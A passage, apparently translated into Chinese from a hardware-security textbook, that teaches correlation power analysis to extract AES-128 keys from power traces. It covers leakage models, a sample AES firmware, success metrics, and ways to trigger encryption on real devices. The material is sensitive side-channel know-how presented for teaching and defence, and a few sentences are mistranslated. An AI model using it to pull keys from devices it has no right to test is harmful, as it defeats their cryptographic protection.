表 10-2:D 个跟踪(行)的功率测量,包括明文 p[d] 和 T 个样本,在不同时间索引 j(列)处的测量数据

明文 p[d] 测量值 j = 0 测量值 j = 1 测量值 j = T – 1
Trace d = 0 0xA1 151.24 153.56 152.11
Trace d = 1 0xC5 151.16 150.35 148.54
Trace d = 2 0x1B 150.06 149.67 151.28
Trace d = D – 1 0x55 149.09 152.42 151.00

跟踪编号 d 代表给定的加密操作、明文和相应的功率跟踪。对于整个操作,我们会记录 T 个功率跟踪样本,每个样本代表在操作过程中某个时间点的功率测量。每个跟踪中的样本总数取决于我们的测量采样率以及操作的持续时间。例如,如果我们的 AES 操作花费了 10 毫秒(0.01 秒),且我们的示波器每秒记录 1 亿个样本(MS/s),那么我们将得到 0.01 × 100,000,000 = 1,000,000 个样本(即 T = 1,000,000)。在实际场景中,T 可以是几乎任何数值,但通常在 100 到 1,000,000 个样本之间。我们的 CPA 攻击将独立考虑每个样本,因此从技术上讲,我们每个跟踪只需要一个 单一 样本(但这个单一样本必须在正确的时间)。

对于假设的功率测量,我们不再拥有样本(或时间)轴。相反,我们考虑在给定密钥猜测 i 的情况下,针对相同的跟踪编号(相同的 d 索引),假设的功率消耗是什么。那时,时间发生了什么变化?之前我们说过,攻击可以通过单个样本点在“正确的时间”成功。“正确的时间”实际上是指设备正在执行我们为其建模假设功率消耗的操作时的时间。这意味着我们的假设测量不需要时间索引,因为我们已经将时间定义为操作发生的时刻。对于物理测量,我们不知道操作发生的具体时间,因此我们需要记录一个更长的功率跟踪,其中包含该操作(但也包括我们的攻击会排除的其他部分)。表 10-3 展示了我们在这个示例中使用的假设值表。

表 10-3:具有 d 跟踪和 i 猜测的明文与假设值

明文 p[d] 猜测 i = 0 猜测 i = 1 猜测 i = 2 猜测 i = I– 1
跟踪 d = 0 0xA1 3 3 2 3
跟踪 d = 1 0xC5 4 3 4 1
跟踪 d = 2 0x1B 6 3 4 4
跟踪 d = D – 1 0x55 6 1 5 4

对于每个密钥猜测,我们计算 S-box 输出的汉明重量,并将结果放入表格中,每个猜测占一列,编号从 0 到 255。我们的假设是,如果秘密密钥字节是 0x00,则功率测量将类似于第 0 列;如果秘密密钥字节是 0x01,则功率测量将类似于第 1 列;如果秘密密钥字节是 0xFF,则功率测量将与第 255 列类似。我们想查看哪一列(如果有的话)与物理功率测量高度相关。

之前,我们使用了测量的功率跟踪表。在这里,我们将使用符号 t[d,j] 来表示这些表,其中 j = 0,1, . . ., T – 1 是跟踪中的时间索引,d = 0,1, . . . , D – 1 是跟踪编号。如果你正在跟随本节的 Jupyter 笔记本中的代码示例,我们正在索引一个名为 traces[d][j] 的变量。如前所述,如果攻击者确切知道加密操作发生的位置,他们只需要测量一个单独的点,即 T = 1。对于每个跟踪编号 d,攻击者还知道与该功率跟踪对应的明文,定义为 p[d]。变量 p[d] 相当于随附代码中的 input_data[d],并且是表 10-2 和 10-3 中的第一列。

引入函数

我们将在此定义几个函数:我们将设备在跟踪编号 d 和秘密密钥猜测 i 下的假设功耗表示为 h[d,i] = l(w(p[d], i)), 其中 l(x) 是给定中间值 x泄漏模型w(p[d], i) 给定输入明文 p[d] 和秘密密钥的猜测 i 生成该中间值 x。 (我们很快会深入研究泄漏模型。)此函数 h[d,i] 成为 假设值表,我们在这里询问在假设的秘密密钥字节下,功率测量应该是什么样子。这些是表 10-3 中的剩余列。

我们再假设微控制器的功耗取决于 S-box 输出的 Hamming 权重,就像 AES-128 的 DPA 示例一样。现在,我们可以更新我们的函数定义,使其更具体地适用于 AES-128(⊕ 表示异或):

l(x) = HammingWeight(x)

w(p,i) = SBox(p ⊕ i)

HammingWeight() 函数返回一个 8 位值中的 1 的个数,而 SBox() 函数返回 AES S-box 查找表的值。请查看随附的笔记本以获取 Python 实现。

计算相关性

现在我们将使用相关系数 r 来寻找假设功耗 l(x) 和测量功耗 t[d],[j] 之间的线性关系。最后,我们可以通过将这些值代入 Pearson 相关系数的公式,计算每个点 0 ≤ j < T 在所有跟踪 0 ≤ d < D 中的相关系数,对于每个可能的子密钥值 0 ≤ i < I

e10002

这是刚才介绍的函数的一些细节:

  • x 是在所有 D 跟踪中执行的 x 的总和。

  • h[i] 是猜测 i 对所有 D 跟踪的平均(均值)假设泄漏。如果泄漏是字节的 Hamming 权重,则泄漏的范围可以从 0 到 8(包括)。 (对于大量的跟踪,泄漏的均值应为 4,并且与 i 无关。)

  • t[j] 是在所有 D 跟踪中,点 j 处的平均(均值)功率测量值。

如果我们计算 表 10-2 和 表 10-3 的相关性,我们会得到 表 10-4。该表中的行是 相关迹线,列是不同的时间点。

表 10-4:每个密钥猜测 i 的相关迹线 r

相关 j = 0 相关 j = 35 相关 j = T – 1
猜测 i = 0x00 0.02 –0.01 0.11
猜测 i = 0x01 0.06 –0.01 0.06
猜测 i = 0x97 –0.00 0.54 –0.12
猜测 i = 0xFF –0.01 0.18 0.12

对于正确的时间(j = 35)和密钥猜测(i = 0x97),相关性显著更高。当然,“完整”表格将包含所有样本点(时间),其中 j 索引从 0 到 T – 1,以及所有密钥猜测从 0 到 I – 1。本示例中的密钥猜测终点 I – 1 是 0xFF,因为我们的泄漏模型基于单字节输入,它只能取值 0x00 到 0xFF。为了保持表格的整洁,我们展示了几个样本点的例子。

使用 CPA 攻击 AES-128

既然我们可以使用 CPA 来检测泄漏,让我们回顾一下攻击 AES-128 算法的单字节示例,就像在第 310 页的《使用 DPA 攻击 AES-128》部分所做的那样。我们将再次使用 measure_power() 函数,目标是攻击这个单字节。我们将扩展之前的示例,创建一个 intermediate() 函数,表示值 h[d,i] = l(w(p[d], i))。对于给定的明文输入字节和密钥猜测,这个函数返回中间值的预期海明重量。CPA 攻击将在比较预期泄漏与实际测量泄漏时使用此函数。

求和循环

注意到 Pearson 相关系数方程中,实际上有三个求和操作覆盖所有迹线。对于这个初始实现,我们将计算其中的一些求和,并将其分解为以下格式:

e10003e10004e10005e10006

在 Python 中,我们首先使用当前的密钥猜测计算所有均值。然后,对于每个迹线,我们更新所有求和变量。对于每个输入时出现的样本点,生成一个求和。再次使用 Pearson 相关系数结果(由 CPA 攻击使用)来确定特定敏感操作发生的位置;你无需提前知道加密发生的时间。

相关性计算与分析

为了完成攻击,我们通过合并求和生成相关迹线。我们绘制不同猜测数的相关迹线,期望正确的密钥猜测(见 图 10-13)出现最大的峰值。

f10013

图 10-13:正确密钥猜测(0x97)与两个错误密钥猜测的相关性图

相关性追踪应该在猜测与设备使用的秘密值匹配的点上显示强相关性。图 10-13 中的峰值以及相关性图表通常显示强相关,但如果你反向测量功耗,你可能会得到一个强相关性,尽管这是正确的密钥猜测。这种负相关性可能是因为你在 GND 路径而不是 VCC 路径中进行测量,或者你的探针可能连接了反向极性,或者你的测量设置可能因为其他原因导致反向读取。因此,为了确定正确的密钥猜测,我们只需查看相关性峰值的绝对值。

CPA 攻击是一种破解加密实现的方法,通常对于 DPA 攻击来说过于安全,因为 CPA 考虑了来自所有 8 个比特(对于一个 8 位系统)的泄漏,而 DPA 攻击仅考虑一个比特。CPA 攻击的原理基于这样的观察:你可以将中间变量的哈明重量与设备的功耗线性相关,并且它利用相关性来利用这种关系。

尝试将 DPA 和 CPA 攻击的追踪次数减少,直到它们无法可靠地恢复正确的密钥。你可能会发现,在大约 200 次追踪时,DPA 攻击无法恢复正确的密钥,而 CPA 攻击则能够在大约 40 次追踪下恢复正确的密钥。两个模拟系统的噪声量相同;CPA 攻击通过使用多个比特的贡献来实现更好的结果。

泄漏模型和敏感值

泄漏模型描述了在设备上处理的数据值如何在旁路通道中表现出来。到目前为止,我们使用了哈明重量泄漏模型,其中功耗与 I/O 线中设置的比特数之间有某种线性关系。作为敏感值,我们选择了一个中间状态,即在一个秘密值与已知输入数据混合并经过非线性操作后不久的状态。

由于总线预充电现象,发生了哈明重量泄露。然而,并非所有芯片中的泄露都是由于预充电总线引起的。另一种常见的泄露模型是哈明距离(HD)。HD 模型基于这样的事实:当一个寄存器从一个状态转移到下一个状态时,功耗仅取决于改变状态的比特数。因此,在使用该模型时,您只关心两个时钟周期之间的比特数差异。图 10-14 显示了寄存器的 HD 示例。

f10014

图 10-14:寄存器在三个连续时钟周期中的哈明距离

这个过程表明,泄漏反映了寄存器状态的变化。如果这个寄存器保存的是 S-box 的输出,你需要知道(或猜测)这个寄存器的先前状态,才能破解当前状态。

硬件中的密码学实现,例如微控制器中的 AES 外设,其中算法并未作为软件进程运行,更容易受到 HD 泄漏的影响。由于它们通常只有少数几个寄存器之间的连接(与主数据总线相比),它们不会将数据线预充电,这导致我们检测到的是哈明距离而不是哈明权重。在攻击这些设备时,我们需要计算变化的假设功耗,这意味着我们需要确定该敏感寄存器的先前状态。先前的状态可能只是最后使用的输入字节,或者可能是上次加密操作运行时的输出。

在专门实现 AES-128 的电路中,确定先前的值可能会面临更多挑战,因为该值现在将依赖于硬件设计的细节(如前面在图 10-11 中所示)。硬件设计师比软件设计师具有更大的灵活性,在实现 AES-128 时,他们可能会选择使用 16 个并行运行的 S-box 查找表,或者像图 10-15 中所示,逐个执行查找操作来共享一个 S-box 查找表给所有输入字节。可能需要一些侦查工作才能确定他们选择了哪种方式。

f10015

图 10-15:硬件中实现 AES 的方法

实现的选择将取决于设备的目的:当设计一个非常小且低功耗的 AES 核心时,一般用途的微控制器可能会接受较慢的吞吐量,而设计用于硬盘或网络控制器的 AES 核心则会在吞吐量达到多 Gbps 的情况下,牺牲可能存在的功率或设备大小限制。你可能通过测量 AES 所需的时钟周期数,并将其除以轮次,来推测某些结构。在大约每轮 1 个时钟周期时,所有的 S-box(和轮内其他 AES 操作)都是并行运行的;在大约每轮 4 个时钟周期时,SubBytesMixColumns 等操作会在单独的时钟周期中执行。当每轮时钟周期数达到 20+ 时,SubBytes 很可能是通过单个 S-box 实现的。

你对目标了解得越少,就越需要通过反复试探来确定它是如何实现加密的。如果你发现设备的 S-box 输出没有泄漏,可以尝试猜测MixColumns操作之后的字节(前面“认识你的敌人:高级加密标准入门”一节中有描述)。如果汉明重量方法没有显示相关性,可以尝试使用汉明距离方法。Ilya Kizhvatov 的《AVR XMEGA 加密引擎的侧信道分析》在实际电路中提供了一个很好的例子,展示了如何破解 XMEGA 的 AES 外设。你还可以在 ChipWhisperer 项目中找到一个逐步教程,重复执行该 XMEGA 攻击,你可以亲自实验这些结果。

在真实(但仍为玩具)硬件上进行 DPA

第八章解释了如何进行 SPA 的功率测量。本章中的 DPA 采集设置与之相同,所以我们将在此基础上继续。在你理解 DPA 如何工作并模拟过 Python 攻击之前,不要尝试攻击真实设备。向专家请教:检查每一步操作。采集或分析中的一个小 bug 就可能导致你无法看到任何泄漏。

我们将把 AES 算法嵌入到一个简单的软件框架中,由固件执行加密操作。你可以使用任何 AES 库来进行加密,比如开源的 avr-crypto-lib。你甚至可以找到这个库的 Arduino 移植版(github.com/DavyLandman/AESLib/)。

示例 10-3 展示了一个能够通过串口接收数据并启动加密的源代码示例。

#include <stdio.h>
#include <stdint.h>
#include "aes.h"
#include "hardware.h"

int main(void){
    uint8_t key[16];
    uint8_t ptdata[16];
    uint8_t ctdata[16];
    uint8_t i;
    setup_hardware();
    while(1){
        //Read key
        for(i = 0; i < 16; i++){
            scanf("%02x", key + i);
        }

        //Read plaintext
        for(i = 0; i < 16; i++){
            scanf("%02x", ptdata + i);
        }

        //Do encryption
        trigger_high();
        aes_128(key, ptdata, ctdata);
        trigger_low();
 //Return ciphertext
        for(i = 0; i < 16; i++){
            printf("%02x", ctdata[i]);
        }

    };
    return 0;
}

示例 10-3:用于在触发器上执行简单加密的微控制器固件示例(C 语言)

这个示例有一个非常简单的串行协议;你以 ASCII 格式发送 16 字节的密钥,16 字节的明文,然后系统会返回加密后的数据。

例如,你可以打开串口并发送以下文本:

2b7e151628aed2a6abf7158809cf4f3c 6bc1bee22e409f96e93d7e117393172a

然后 AES-128 模块会返回3ad77bb40d7a3660a89ecaf32466ef97。通过在互联网上查找“AES-128 测试向量”来测试你的实现。

与目标设备通信

在定义了自己的串行协议以发送和接收数据后,与目标设备的通信应该很简单。像 SPA 的示例一样,我们将向目标发送一些数据,并在 AES 操作期间记录其功耗。如果你跟着配套笔记本操作,它展示了如何在虚拟设备上执行测量;只需将测量函数替换为调用物理设备即可。

前面模拟的测量示例对单字节进行了攻击,但你需要向真实设备发送 16 个字节。你可以选择对任何一个字节进行攻击,或者依次攻击每个字节。

再次提醒,在 I/O 线的上升沿触发信号,以确定感兴趣的精确数据点。例如,当针对 AES 的第一轮时,像 Listing 10-3 中所示的 trigger_high() 代码应当放置在 AES 函数内部,使得该行仅在你进行敏感操作时(如 S-box 查找输出)才处于高电平。

示波器采样速度

和 SPA 攻击一样,你可以通过实验确定任何平台或设备所需的采样率。通常,DPA 攻击需要比 SPA 更高的采样率,因为我们将根据功率的微小变化将数据分类到多个组中。相比之下,SPA 攻击通常只匹配功率波形中较大的变化,因此 SPA 可以在比 DPA 更大的噪声和时间抖动条件下工作。

一般来说,在攻击像 AES 这样的微控制器上的软件实现时,通常只需要以大约 1 到 5 倍时钟速度的采样频率进行采样即可。攻击硬件实现时需要更高的采样率,通常是时钟速度的 5 到 10 倍。然而,这些规则充其量只是一个模糊的经验法则;你的采样率选择将取决于设备泄漏、测量设置以及示波器的质量。某些采样方法,例如在 ChipWhisperer 平台上使用的同步采样,也可以放宽这些要求,使你即使在时钟速度本身(即时钟速度的 1 倍)下进行采样,也能成功进行攻击。

小结

本章(以及前两章)集中讨论了攻击你可以控制的平台。这些是很好的学习目标,我们鼓励你尝试各种算法和测量变种,以了解你的选择如何影响泄漏检测。掌握了这些技能后,你将准备好进入下一个阶段:攻击黑盒系统。要有效地进行这类攻击,你需要对加密技术如何在嵌入式系统中实现以及如何使用你的旁路分析工具箱进行攻击有一个基本的理解。

下一章将介绍一些额外的工具,用于攻击那些没有方便触发信号或不清楚实现细节的真实系统。在此过程中,你的耐心将会受到严峻考验。

第十一章:跟技术过招:高级功率分析

前两章以及一般的功率分析文献,集中于对攻击的理论理解和在实验室条件下的应用。作为那些亲眼见证了大量此类攻击的人,我们可以告诉你,对于大多数实际目标来说,你的时间有 10%会花在设置测量设备的过程中;10%的时间会用来进行实际的功率分析攻击,其余的 80%则是花费在试图弄明白攻击为什么没有泄漏信号上。这是因为,只有当你从踪迹获取到踪迹分析的每一步都做对了,攻击才会显示泄漏;而在你实际找到泄漏之前,很难确定最初的哪一步出了问题。实际上,功率分析需要耐心,配合大量的步骤分析,一系列的试错,并且需要强大的计算能力。本章更侧重于功率分析的艺术而非科学。

在实践中,你需要一些额外的工具来克服实际目标所带来的各种障碍。这些障碍在很大程度上决定了从设备中成功提取机密信息的难度。目标本身的一些固有特性会影响信号和噪声特性,像可编程性、设备复杂性、时钟速度、旁道类型和防护措施等特性也会有影响。当你在微控制器上测量 AES 的软件实现时,你可能仅需闭一只眼、把手放在背后,就能从一个迹象中识别出单独的加密轮次。但当你测量嵌入在 800 MHz 的全系统芯片(SoC)上的硬件 AES 时,别指望在一个迹象中看到加密轮次。许多并行处理会导致幅度噪声——更不用说泄漏信号本身就非常微小了。最简单的 AES 实现可能在不到 100 个迹象和 5 分钟的分析时间内就被破解,而我们见过的最复杂攻击成功的例子,则已经超过了十亿(!)个迹象和几个月的分析——有时,攻击仍然会失败。

在接下来的部分中,我们将提供一些工具,以便在不同的情况下应用,并提供一个关于如何处理整个功率分析话题的一般方法。装备了这些工具后,接下来就取决于你来判断是否、何时以及如何将它们应用到你最喜欢的目标上。因此,本章有点像是一个混合包。首先,我们讨论一些更强大的攻击方法并提供参考文献。接着,我们深入探讨了几种衡量密钥提取成功与否的方法,以及如何衡量你设置的改进。然后,我们讨论了如何测量真实设备,而非一些简单的、实验室中完全可控的目标。接下来是关于踪迹分析和处理的部分,最后,我们提供了一些额外的参考资料。

主要障碍

电源分析有多种形式。在本章中,我们将提到简单功耗分析(SPA)差分功耗分析(DPA)以及相关功耗攻击(CPA),或者简称为功耗分析,当一种声明适用于这三种情况时。

理论与攻击实际设备之间的差异是显著的。在进行实际功率分析时,您将会遇到主要障碍。这些障碍包括以下几点:

幅度噪声

这是你在听 AM 无线电传输时听到的嘶嘶声,你设置中所有其他电子组件的噪音,或者作为对策添加的随机噪声。你测量设置的各个部分会导致它,但实际设备中非感兴趣但并行的操作也会出现在你的测量中。你在进行的所有测量中都会遇到幅度噪声,它对功率攻击构成问题,因为它会掩盖由数据泄露引起的实际功率变化。对于 CPA,它会导致您的相关峰值幅度降低。

时间噪声(也称为错位)

由示波器触发或非恒定时间路径导致目标操作的时间抖动,使得感兴趣的操作在每次跟踪时出现不同的时间。这种抖动会影响相关功耗攻击,因为攻击假设泄露始终在相同的时间索引处出现。抖动会产生不良影响,扩大您的相关峰值并降低其幅度。

侧信道对策

是的,芯片和设备供应商也会阅读本书。刚刚描述的无意噪声源也可以由设备设计者有意引入,以降低功率攻击的有效性。不仅引入噪声源,而且还通过使用掩蔽和盲化算法以及芯片设计(参见 Thomas S. Messerges 的“Securing the AES Finalists Against Power Analysis Attacks”)、协议中的常量密钥旋转(参见 Pankaj Rohatgi 的“Leakage Resistant Encryption and Decryption”)、以及常量功率电路(参见 Thomas Popp 和 Stefan Mangard 的“Masked Dual-Rail Pre-charge Logic: DPA-Resistance Without Routing Constraints”)和 SCA 抗性单元库(参见 Kris Tiri 和 Ingrid Verbauwhede 的“A Logic Level Design Methodology for a Secure DPA Resistant ASIC or FPGA Implementation”)来减少泄露信号。

不过,请不要绝望。对于每种噪声源或对策,都有工具可以恢复至少一部分泄露。作为攻击者,您的目标是将所有这些工具结合起来进行成功的攻击;作为防御者,您的目标是提供足够的对策,使得攻击者在技能、时间、耐心、计算能力和磁盘空间等资源上耗尽。

更强大的攻击

到目前为止我们所描述的关于功耗分析的内容,实际上是该领域中一些较为基础的攻击方式。还有各种更强大的攻击方式,许多已经超出了本章的范围。然而,我们不希望你在实际知识与感知知识的邓宁-克鲁格效应曲线的错误一侧。我们希望确保你有足够的知识,知道自己并不是拥有所有的知识。

到目前为止你学到的一切都是使用了泄漏模型。这个模型做了一些基本假设——例如,更大的功耗可能意味着更多的线路被拉高。一种更强大的方法是模板攻击(参见 Suresh Chari, Josyula R. Rao 和 Pankaj Rohatgi 的《模板攻击》)。在模板攻击中,与你假设泄漏模型不同,你直接从已知数据(以及密钥!)正在处理的设备上进行测量。数据和密钥的知识为你提供了一个指示,显示在已知数据值范围内使用的功耗,这些信息被编码在每个值的模板中。已知数据值的模板帮助你识别在相同或类似设备上未知的数据值。

制作这样的模板模型意味着你需要一个设备,可以通过设置自己的密钥值并允许所需的加密过程发生,从而完全控制它。这种方法的实用性因设备而异,因为可能难以重新编程目标设备,或者你可能只有目标设备的一个副本,无法重新编程以生成模板。其他情况下,比如通用微控制器,你可以访问需要的多个可编程设备。

模板攻击的优势在于,它们比 CPA 操作在更精确的模型上,因此可以在更少的痕迹中执行密钥恢复,可能只需要一次加密操作就能揭示整个加密密钥。另一个优势是,如果你攻击的设备使用的是某种非标准算法,模板攻击不需要你为泄漏提供模型。这些更强大的攻击的缺点是计算复杂性和内存要求,通常比简单的与 Hamming 权重的相关性要大。因此,选择使用模板或其他技术,如线性回归(参见 Julien Doget、Emmanuel Prouff、Matthieu Rivain 和 François-Xavier Standaert 的《单变量侧信道攻击和泄漏建模》)、互信息分析(参见 Benedikt Gierlichs、Lejla Batina、Pim Tuyls 和 Bart Preneel 的《互信息分析》)、深度学习(参见 Guilherme Perin、Baris Ege 和 Jasper van Woudenberg 的《降低门槛:深度学习在侧信道分析中的应用》)或差分聚类分析(参见 Lejla Batina、Benedikt Gierlichs 和 Kerstin Lemke-Rust 的《差分聚类分析》),取决于你的攻击情况所需或可用的条件,如最少的痕迹数、最短的墙钟时间、最低的计算复杂性、更少的人工分析以及其他各种情况。

在更实际的建议方面,Victor Lomné、Emmanuel Prouff 和 Thomas Roche 写了《Side Channel Attacks 背后的场景 - 扩展版》,其中包含了许多关于各种攻击的技巧。特别是,条件泄漏平均对于 CPA 可以节省大量时间。你可以在 Riscure 的开源 Jlsca 项目中找到它的实现及其他各种算法,网址是 github.com/Riscure/Jlsca/

本章结束时,我们将进一步讨论参考资料。

测量成功

我们如何衡量生活中的成功是一个容易引发哲学性长篇大论的话题。幸运的是,工程师和科学家没有太多时间去空谈,所以这里列出了一些方法,让我们能够衡量侧信道分析攻击的成功。我们将讨论在进一步研究中可能会遇到的几种数据类型和图表。

基于成功率的度量标准

在学术界最初使用的度量标准之一是基于攻击成功率的。最基本的版本可能是测试进行一次攻击所需的痕迹数量,以完全恢复加密密钥。这个度量标准通常不是特别有用。如果你只做了一次试验,可能是你非常幸运;通常,所需的痕迹数量会超过你报告的数量。

为了应对这种不现实的情况,我们使用成功率与轨迹数量的图表。我们首先会提到全局成功率(GSR),它表示在给定数量的轨迹下,成功恢复完整密钥的攻击所占的百分比。图 11-1 展示了一个示例 GSR 图。

f11001

图 11-1:泄露的 AES-256 目标的全局成功率示例图

图 11-1 中的图表显示,如果我们从设备记录了 40 个轨迹,我们预计会在约 80% 的情况下恢复完整的加密密钥。我们可以通过多次在设备上执行该实验来简单地找到这个度量,理想情况下还应使用不同的加密密钥,以防某些密钥值比其他密钥产生更多泄漏。

除了使用 GSR,我们还可以绘制部分成功率。这里的部分意味着我们将 AES-128 密钥中的每一个字节独立地考虑,而不考虑其他字节,这样就得到了 16 个值,每个值代表在给定数量的轨迹下,恢复某一个字节的正确值的概率。

全局成功率可能会产生误导,因为在某些特定实现中,可能有一个密钥字节不会泄露。因此,GSR 将始终为零,因为整个加密密钥永远无法恢复,但部分成功率的图表将揭示是否只有 16 个字节中的一个无法恢复。然后,我们可以在 1 秒钟内对最后一个字节进行暴力破解,而零 GSR 并未揭示恢复密钥的真实概率。

基于熵的度量

基于熵的度量基于这样一个原理:我们可以通过一些猜测来恢复密钥。没有任何先验知识的情况下,恢复原始的 AES-128 密钥平均需要 0.5 × 2¹²⁸ 次猜测。这个数字如此之大,在暴力破解密钥的集群被熔化和/或被太阳吞噬成红巨星之前(大约 50 亿年后),密钥是无法计算出来的。

辅助通道分析攻击的结果提供的信息比简单的“密钥是 XYZ”或“未找到密钥”要多。事实上,每一个密钥猜测都有一个与之相关的置信度——即相对于某一分析方法,猜测该密钥正确的置信度。在 CPA 中,这个置信度值是该特定密钥猜测的相关性的绝对值。因此,针对 AES-128 密钥的某一个字节进行 CPA 攻击的结果是一个带有置信度水平的密钥猜测排名列表,最佳猜测排在最上面,最差的猜测排在最底部。

假设我们使用功率分析攻击,知道实际的密钥字节在每个列表的前三名中。那么,针对密钥的总共需要进行 3¹⁶次猜测,约为 4300 万次,因此它可以很容易地在智能手机上完成。因此,我们已经减少了熵。原始密钥是随机的一组比特,但我们现在对某些比特的最可能状态有了一些信息,并可以利用这些信息加速暴力破解攻击。

最简单的图形表示方式是部分猜测熵(PGE)。PGE 提问如下问题:在用一定数量的跟踪进行攻击后,有多少个关键猜测被错误地排名为比正确的关键值更可能?如果你对每个字节进行关键猜测,你将为每个字节的密钥得到一个 PGE 值;对于 AES-128,你将得到 16 个 PGE 图。PGE 提供了关于侧信道攻击减少的密钥搜索空间的信息。图 11-2 展示了这样的图形示例。

图 11-2 中的图形还将所有 16 个 PGE 图平均,以得到攻击的平均 PGE。部分猜测熵可能会有些误导,因为我们可能没有理想的方式来结合所有密钥的猜测。例如,如果对于一个密钥字节,正确的值排名第一,而对于第二个密钥字节排名第三,我们仍然需要做出最坏情况下的假设,并对所有前三个候选值进行暴力破解。然而,如果 PGE 在所有字节中不均匀分布,进行这样的暴力破解攻击很快会变得不可能。

f11002

图 11-2:部分猜测熵

存在理想的算法来结合攻击的输出,它们可以用来生成真正的总猜测熵(参见 Nicholas Veyrat-Charvillon, Benoît Gérard, François-Xavier Standaert 的《超越计算能力的安全评估》)。总猜测熵提供了关于通过运行攻击算法减少密钥猜测空间的详细信息。

相关性峰值进展

另一种格式是绘制每个关键猜测在多个跟踪中的相关性。此方法旨在展示相关性峰值随时间的变化过程;参见图 11-3 作为示例。它显示了每个关键猜测在我们增加跟踪数量时的相关性峰值。对于错误的关键猜测,这个相关性将趋向于零,而对于正确的关键猜测,它将趋向于实际的泄漏水平。

f11003

图 11-3:相关性峰值与跟踪数量的图表展示了正确的猜测。

该图去除了关于最大相关峰值发生时刻的信息,但现在显示了该峰值如何从“错误猜测”中区分开来。正确峰值交叉所有错误猜测的点被认为是算法被破解的地方。将相关输出与轨迹编号进行对比,显示了正确的密钥猜测如何从错误猜测的噪声中慢慢脱颖而出。

图 11-3 中显示的图表的一个优点是它表示了错误猜测和正确猜测之间的差距。如果这个差距很大,你可以更有信心地认为攻击通常会成功。

相关峰值高度

目前为止描述的成功度量提供了一个关于你距离密钥提取有多近的概念,但它们对于调试你的设置或跟踪处理方法帮助不大。对于这些任务,有一个简单的方法:查看攻击算法的输出轨迹,例如 CPA 的相关轨迹(或者稍后我们讨论的 TVLA 的 t-轨迹)。这些输出轨迹是改进你的设置或处理的主要方式之一。

你所绘制的图,例如图 11-4,会将所有错误的密钥猜测的相关轨迹用一种颜色表示,而正确的密钥猜测用另一种颜色突出显示。

f11004

图 11-4:攻击算法的原始输出图

图 11-4 显示了正确的密钥猜测具有最大的相关峰值,并提供了该峰值的时间索引。此图展示了相关性与时间的关系,其中正确的密钥猜测在图中以深灰色突出显示,错误的猜测则是浅灰色。将此图与功率轨迹叠加,可以有效地可视化泄漏发生的位置。

这种类型的绘图在优化设置时非常有用。只需在更改一个采集参数或处理步骤之前和之后计算图表。如果峰值变得更强,说明你的侧信道攻击得到了改进;如果峰值减弱,说明情况变得更糟。

真实设备上的测量

当你准备测量一个真实设备——而不是一个为侧信道分析设计的简单实验平台时——你需要做一些额外的考虑。本节简要概述了这些考虑事项。

设备操作

攻击真实设备的第一步是操作它。执行此操作的要求取决于你所进行的攻击,但我们可以为你提供一些关于运行加密操作和选择要发送的输入的总体指导和提示。

启动加密

真实设备可能没有提供“加密此块”功能。在侧信道分析攻击中,部分工作是确定如何攻击此类设备。例如,如果我们正在攻击一个在解密固件之前进行认证的引导加载程序,我们不能仅仅发送随机输入数据来解密。然而,对于功率分析,通常仅知道密文或明文就足够了。在这种情况下,我们可以直接提供原始固件镜像,这样它就会通过真实性检查,然后被解密。由于我们知道固件的密文,我们仍然可以进行功率攻击。

类似地,许多设备将具有基于挑战-响应的认证功能。这些功能通常要求你通过加密一个随机的 nonce 值来进行响应。设备也会单独加密这个 nonce。现在,设备可以验证你发送的响应是否被正确加密,从而证明你与设备共享相同的密钥。如果你向设备发送一个随机的垃圾值,认证检查最终会失败。然而,这种失败并不重要;我们已经在加密过程中捕获了设备的 nonce 和功率信号。如果我们收集到一组这些信号,它可以为我们提供足够的信息来进行功率分析攻击。正确的实现通常会包括速率限制或固定尝试次数来避免此类攻击。

处理设备通信时的另一个问题是时序捕获。正如之前所示,我们不关心找出加密发生的确切时刻,因为 CPA 攻击会为我们揭示这个时刻(假设对齐,但我们稍后会讨论)。我们确实需要接近正确时序(例如,通过在发送加密块的最后一个数据包时触发示波器)。我们不知道加密发生的确切时刻,但我们知道,它必须发生在发送该数据块和设备返回响应消息之间的某个时刻。

基于嗅探 I/O 线路的触发将会更困难。通常最简单的方法是实现一个自定义设备,监控 I/O 线路上的相关活动。你可以简单地编程一个微控制器,读取所有正在发送的数据,并在检测到期望的字节时将 I/O 引脚置高,从而触发示波器。

启动和捕获操作主要是一个工程难题,但重要的是要尽可能保持其稳定性并避免抖动。抖动的时序行为会导致时序噪声和其他后续问题,这可能会使得之后无法对跟踪进行适当的分析。

重复和分离操作

另一个记忆技巧是,如果你能对目标进行程序控制,那么在单次跟踪中获取多个操作会更有帮助。你可以通过将目标操作在一次跟踪中被调用的次数作为协议中的输入变量来实现这一点。最简单的技巧是将一个循环包裹在对目标本身操作的调用周围。在某些情况下,你可以通过让它在更低的层级进行循环,例如,给 AES-ECB 加密引擎一个需要加密的大量数据块。

现在,如果你在增加目标操作调用次数的同时进行采集(例如,每次跟踪时调用次数加倍),你很快就会看到加密操作所在的区域扩展。这是因为,尽管单个加密操作可能是一个不可见的波动,但你执行的操作越多,它们所需的时间就越长。到某个点时,它们会在你的跟踪中变得可见。然后,你可以轻松地确定操作的时间点,并计算单个操作的平均持续时间。

你还可以尝试在操作之间使用一个可变延迟循环(或者空操作滑动;nop表示无操作,实际上让处理器在特定时间内什么也不做)。一旦前面的技巧向你展示了时间信息,你可以利用这些信息将单独的操作调用分开,这实际上有助于检测泄露,因为一个操作的泄露不会渗透到后续操作中。

从随机输入到选择性输入

到目前为止,我们一直在将完全随机的数据输入到加密算法中,这为 CPA 计算提供了良好的属性。一些特定的攻击需要选择性输入,比如对 AES 的某些攻击(请参见 Kai Schramm、Gregor Leander、Patrick Felke 和 Christof Paar 的《AES 的碰撞攻击:结合侧信道攻击与差分攻击》)或使用 Welch 的 t 检验的中间轮次变体的测试向量泄漏评估(更多细节请参见本章稍后的“测试向量泄漏评估”部分)。

不深入探讨其原因(稍后会讨论),你可以在跟踪采集过程中创建不同的集合,例如与常数或随机输入数据相关的测量,以及各种精心选择的输入。

